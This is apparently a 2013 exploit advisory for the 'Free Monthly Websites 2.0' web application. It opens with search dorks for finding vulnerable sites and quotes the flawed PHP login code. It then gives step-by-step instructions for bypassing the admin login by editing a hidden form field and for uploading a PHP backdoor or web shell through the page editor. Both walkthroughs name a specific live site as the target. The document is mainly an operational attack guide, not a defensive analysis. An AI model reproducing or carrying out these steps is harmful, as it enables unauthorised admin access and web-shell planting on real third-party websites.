Free Monthly Websites 2.0 Admin Bypass / Shell Upload

`==========================================================================================   
Free Monthly Websites 2.0 Multiple Vulnerabilities  
==========================================================================================  
  
:----------------------------------------------------------------------------------------------------------------------------------:   
: # Exploit Title : Free Monthly Websites 2.0 Multiple Vulnerabilities  
: # Date : 04 February 2013   
: # Author : X-Cisadane   
: # Vendor : http://www.freemonthlywebsites2.com/  
: # Download : http://www.freemonthlywebsites2.com/downloads/fmw_oto/websites/Free_Monthly_Websites_50_Custom_Websites_MPW7199.zip  
: # Version : 2.0  
: # Category : Web Applications   
: # Vulnerability : Admin Login Bypass and Shell Upload Vulnerability   
: # Tested On : Google Chrome 24.0.1312.52 m (Windows XP SP 3 32-Bit English)   
: # Greetz to : X-Code, Borneo Crew, Depok Cyber, Explore Crew, CodeNesia, Bogor-H, Jakarta Anonymous Club and Ngobas  
:----------------------------------------------------------------------------------------------------------------------------------:   
DORKS   
=====   
inurl:/index_ebay.php  
"Powered by: Resell Rights Fortune"  
"Generating Traffic to Your Site with Keyword Based Articles"  
Powered By: Free Monthly Websites 2.0  
  
Proof of Concept   
================   
[ 1 ] Admin Login Bypass  
  
Vulnerable page http://target.com/[path]/admin/index.php  
Line   
40 <form name="frm" action="file_io.php" method="post" onSubmit="return chk()">  
41 <input type="hidden" name="do_type" value="admin_settings_read">  
  
Vulnerable page http://target.com/[path]/admin/login.php  
Line  
40 <form name="frm" action="file_io.php" method="post" onSubmit="return chk()">  
41 <input type="hidden" name="do_type" value="admin_settings_read">  
  
Vulnerable page http://target.com/[path]/admin/file_io.php  
Line  
14 if($_REQUEST[do_type]=="admin_settings_read")  
15 {  
16 $filename="settings/admin_settings.txt";  
17  
18 if(!$handle = fopen($filename, 'r'))  
19 {  
20 echo "Cannot open file ($filename)";  
21 exit;  
22 }  
23 $contents = fread($handle, filesize($filename));  
24 fclose($handle);  
25 $argument_arr=explode("#_1_#",$contents);  
26  
27 if($argument_arr[0]==$_REQUEST[username] && $argument_arr[1]==$_REQUEST[pass])  
28 {  
29 $_SESSION[logged_in]=true;  
30 header("location:welcome.php");  
  
Based at line 16 we know that Admin Username and Password store in admin_settings.txt NOT on Database!   
So When we login into Admin Panel, file_io.php will Read Valid Username and Password from admin_settings.txt  
If you do a direct access to the file admin_settings.txt, The results is   
  
403 Permission Denied  
You do not have permission for this request /admin/settings/admin_settings.txt  
Pic : http://i48.tinypic.com/2gvlwt4.png  
  
  
So... How to Bypass Admin Login Page?   
1st. Open the Admin Login Page : http://target.com/[path]/admin/index.php   
Live Target : http://www.massmoneywebsites.com/admin/  
  
2nd. Inspect Element on the login Form.   
Pic : http://i47.tinypic.com/2r5ddp1.png  
  
3rd. Change from   
<form name="frm" action="file_io.php" method="post" onsubmit="return chk()"></form>  
<input type="hidden" name="do_type" value="admin_settings_read">  
  
CHANGE TO   
<form name="frm" action="file_io.php" method="post" onsubmit="return chk()"></form>  
<input type="text" name="do_type" value="admin_settings_write">  
Then press ENTER (please see pic).  
Pic : http://i49.tinypic.com/351z3ib.png  
  
4th. You will see A Login Failed Page : >> You need to login in to access that page <<  
Pic : http://i50.tinypic.com/33ws8jb.png  
Never Mind About that, just click 'Login Button' and VOILA you get and Admin Access!  
pic : http://i45.tinypic.com/jzwpea.png  
----------------------------------------  
[ 2 ] Upload PHP Backdoor or PHP Shell   
  
This vulnerability works on PREMIUM VERSION of Free Monthly Websites 2.0  
  
So... How to Upload Backdoor (PHP Shell)?  
  
1st. Go to Add/Remove Navigation Page.   
http://target.com/[path]/admin/add_main_pages.php  
Live Target : http://www.massmoneywebsites.com/admin/add_main_pages.php  
  
2nd. Enter a Name For Your New Navigation Page That You Wish To Add: dwi.php   
And click Add New Navigation Page.  
Pic : http://i45.tinypic.com/vigzsp.png  
  
3rd. Still at the same page, scroll down the page until you see this section : Sort Your Page Buttons/Links.  
Pic : http://i46.tinypic.com/1040oxg.png  
Change FROM dwi.php.html TO /dwi.php then Click Sort Navigation Pages.  
Pic : http://i49.tinypic.com/24ec1l0.jpg  
  
4th. Go to Edit Navigation Page.  
http://www.massmoneywebsites.com/admin/edit_main_pages.php  
Please Select a Page To Edit: dwi.php.html <--- Select that page.  
  
5th. Inspect element on dwi.php.html  
Pic : http://i50.tinypic.com/29pq1ix.png  
Change FROM <option value="dwi.php.html" selected="">dwi.php.html</option>  
To <option value="dwi.php" selected="">dwi.php</option>  
Pic : http://i47.tinypic.com/wtb0j6.png  
  
6th. Enter A Page Title As You Would Like It To Be Seen. Fill with dwi.php  
URL For This Page: main_pages/dwi.php   
Use the 'URL For This Page' field above: [Tick]   
Display This Page in Left Vertical Site Navigation: [Tick]  
Display This Page in Top Horizontal Site Navigation Buttons: [Tick]  
Pic : http://i46.tinypic.com/1zebnle.png  
  
7th. Still at the same page, scroll down the page until you see this section : Enter Content For Your Page:  
Click SOURCE button   
Press Enter Twice at the First Line then Paste your PHP Backdoor/PHP Shell below.  
And Press Enter Twice at the Last Line.  
*Please see 2 Pictures below If you dunno Understand :p  
Pic 1 : http://i49.tinypic.com/1zlzxq0.png  
Pic 2 : http://i48.tinypic.com/291kc9h.png  
  
If you wanna do this, please Remove Your Backdoor Password.  
Click Save Edited Navigation Page.  
  
8th. After this message >> Data saved successfully << Appeared, Visit the Home Page and you will see the Backdoor Page  
Pic : http://i49.tinypic.com/4rt1g4.png  
  
//I'm sorry My English was poor  
`